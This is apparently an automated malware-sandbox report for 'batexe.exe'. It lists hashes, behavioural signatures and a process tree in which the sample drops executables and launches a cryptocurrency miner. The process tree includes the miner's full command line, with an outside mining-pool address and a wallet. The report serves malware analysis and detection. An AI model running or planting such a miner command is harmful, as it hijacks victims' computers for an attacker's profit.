Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
296s -
max time network
305s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-ja -
resource tags
arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows -
submitted
20/02/2024, 02:53
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20240214-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231215-ja
General
-
Target
batexe.exe
-
Size
9.4MB
-
MD5
cdc9eacffc6d2bf43153815043064427
-
SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
-
SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
-
SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
-
SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation batexe.exe Key value queried \REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation b2e.exe -
Executes dropped EXE 2 IoCs
pid Process 4984 b2e.exe 4144 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 4144 cpuminer-sse2.exe 4144 cpuminer-sse2.exe 4144 cpuminer-sse2.exe 4144 cpuminer-sse2.exe 4144 cpuminer-sse2.exe -
resource yara_rule behavioral2/memory/1164-7-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1164 wrote to memory of 4984 1164 batexe.exe 84 PID 1164 wrote to memory of 4984 1164 batexe.exe 84 PID 1164 wrote to memory of 4984 1164 batexe.exe 84 PID 4984 wrote to memory of 5060 4984 b2e.exe 85 PID 4984 wrote to memory of 5060 4984 b2e.exe 85 PID 4984 wrote to memory of 5060 4984 b2e.exe 85 PID 5060 wrote to memory of 4144 5060 cmd.exe 88 PID 5060 wrote to memory of 4144 5060 cmd.exe 88
Processes
-
C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1164 -
C:\Users\Admin\AppData\Local\Temp\A930.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\A930.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A930.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4984 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AFB8.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:5060 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4144
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3.0MB
MD59777f53d3423c004428fe74eb9dd7609
SHA13f90a172d62f47c06c22feb5a982087a34008ae5
SHA256985011d396ca0a8b3c582585cbbf1ffb44f77131ad366fa1ab0a13f8bb58a923
SHA51270ea5ed7483c7bd8ed0458cc83ae47017cd63ca32668bd0936977d7330828f0e8d474e765117c0dbf8c475c5cb23e21bca47bcbdaebfc8bf0d514ea90f42ab65
-
Filesize
7.2MB
MD574c2e047753aae976d260d83bbf62676
SHA1af2ff87a23e2940de2258b785faa76508c93c123
SHA256826411201aec1c9b9b56f80a477777c2eb3866888e99e9c9d12db630071e7a50
SHA512b84f777ef3d41fc01b99b6b532540a375d99513837f684f92572bc1ac5191000c14c92929bdcd5513bb3c91d9383700eba99649d6aa823e8ff2b09da057d3b0c
-
Filesize
2.1MB
MD5099e18cf84312ee05add20eaed01b2c0
SHA13aedb8f0362d50274ec7bf1e79bbd3923b47cc13
SHA2568856beb3ce39073034ad1cd1b72251224cbe3b2861af9086947470096666312c
SHA51270c26948eecb460a2c035d8bec9f100588244a0c621fe26c13826bef00464051b54e200abfd73cb07bbe76c6c807317dc90b4974a739be718e37aa2621c134ec
-
Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
-
Filesize
960KB
MD55f088febb9167d9fa27631de416c40d9
SHA10e7cfc61e5cd1bb82c846c939d71388e2f9d5086
SHA256869740b99a3d66f9e9decc133d9c3c4a2c14c3e7c62c512248da76f002387fce
SHA51265e4cd0d550b852f50e426e53ff47bf1419a5cc1aaf07010b10b96f392148525950fd11dd3b1e8acda0916d288414629cde845cdc959ed7092e565ccb8ffa920
-
Filesize
1.8MB
MD5d80b98cad14ab7d8ad49bdea10bf6f78
SHA1e36f47025de04864ea3233b946593dc46c7588dd
SHA25687fef499779eccf1270b3f4b1b875f43ef9085178f27475affd5310df78ece4b
SHA512bc5b18eca17a407e1eb233ebd14921a3150e77362ee337dbdb730fd4462e836553f5eefa6c484e1dadcf52e6fc2683dab7b9e2b2182d9b5fa939e48dbc6a8688
-
Filesize
512KB
MD5a5993c0dd7587f1716037dcfe1f63091
SHA19a4d23ce36f5fc5791692b47d977c0bf92842879
SHA256568cec1e1bdccf401232a78c8ecf2081fdaea221f0a7c777a69ec61307cca3e3
SHA512c5457590162dc1a0fd6b179ba94f19e6265e2ca226ea1ec553358f568690bbc158335ee92c297ce699b2928d44702733269f82640d86bb499c1981a5903afc12
-
Filesize
448KB
MD519a61444b6e2d01755ede80960bca19c
SHA1e0c7222784d3e2b3329ec3280648b17fd60ef209
SHA25613fd488b38f3b75438e9ad0a033df005cd397f3c92f43275714a0a7eb3fb4db8
SHA512bc02c82bdac19f10f3e3a93d3f507bb7838c9255b7cff5af6e3a7f3b471dae9c45c52728c3c23857b3402dd1702cb51a20f225a4da992c26a997c26d86b6b1d9
-
Filesize
576KB
MD546e1c7531774dee6a7125727095ea354
SHA12248bc2bd821aded068d2e5e55f5e7271b50ab91
SHA256cecc229ea9e416207638b67d03bc6846fa188a14fe1c9e75028afb48ff4e2081
SHA512fa9dc86df3e0a8f7b2579785c03717a43eec14beab8ca3176f73d4ecb0716d047241ab30cd53518e7acd645e9f8282a20552a6fa33824c34afc5c5210cc69f2c
-
Filesize
256KB
MD5f8edb8dd2fb15f1887ace09587589dd4
SHA1cbf7cbfefc0215d9500a98d9064deb9e86787152
SHA2560465270288d69a0ec9beb7114707bed76756c14148293237d0d35423abdfc67b
SHA512aa993112953225280c0bedb1ebd8288298b9c22a6a884a952ba60e48cbd21c4ce60724b7adc961a0528d7c569596e3420fec2670fc47c3eb6c00c691e0378abc
-
Filesize
384KB
MD54cb3a8d3af58faf78da4dd33a03029db
SHA15356e4fb04a7047f6fc82a4e071e4803f97a0f3d
SHA25686df790940bd442466ea58a434a31aaaadd1d23a9e9bf5e6fe625ff49049d620
SHA512244237f4a13a7666e9f9592451dbb8bb18ca1f828d66f97e2890fa8f6be690d8890848102a8be253542c9f4b154d9f0e1aeeee5a867c866b78b64f9949f48c89
-
Filesize
313KB
MD5d9cef223504a611dcec53fe8be46ab1b
SHA1fc49f5077ac2450358e3bf38a2474163bbf0d544
SHA256df6a10fc782b9da53a2c463314fb85fabc2e0139ad07ff7e6f4cc47a5c7b10d7
SHA512aaf3431176082cd04c00f1c5bf2230972db3909f1003fc5800669ac1fab01d1546e2184c563c2e9597902ac5fdf9644f5463c60198d82370ce9c055eee042d3a
-
Filesize
256KB
MD51d86b9560854472453237bcbaa2e253f
SHA15a03a7902d250377a3e9f746badcb696e2c98228
SHA2561493703a430c68bdcedcb4078486daca39a02820199e7b72017c7b1af66e1c8d
SHA512afbc3d7f8e06e41db25d666999f4d162af7054a66b17a651ac8a7f092f83580a067bfa2f558be65ace5966dffaa8735fe7a579e88bf42b34eaa3e72cdec96699
-
Filesize
384KB
MD5eec15153c344f43f1919cb379b9ee2f9
SHA13e4a09390ac885ea2797209603bcfa1ec6ff0cc6
SHA2564e4d7ecae87e8e656c61af89ef17146baf33fbf09ffbde6ae971d04e8e8f9222
SHA5127cdf3552341d14979838f8fedf9ac63482152f193ab8f7e0af281ec50b2a43312d78c0e22e79989818c5041538fa69769350e1e6cf0789a165be1eb11ee29908
-
Filesize
320KB
MD51ae43cc09627ff82d15527ea2693fd76
SHA1c39ffa1a4b80c29fa1f5caed3e7d091253266c66
SHA256b63980c9d592a6d0d8521f74bd4c6f7cc4ae5f8c3320d2bd63764c56648ac45f
SHA51221945e4e2fad3ee2b2a19d19bbbc1ada832c33a0d3bf499d6ac8f093b39021323ea0f7df3d54167a3456cbaf01ff126a6e6abbe17dd4eb8d5a24ca000888c271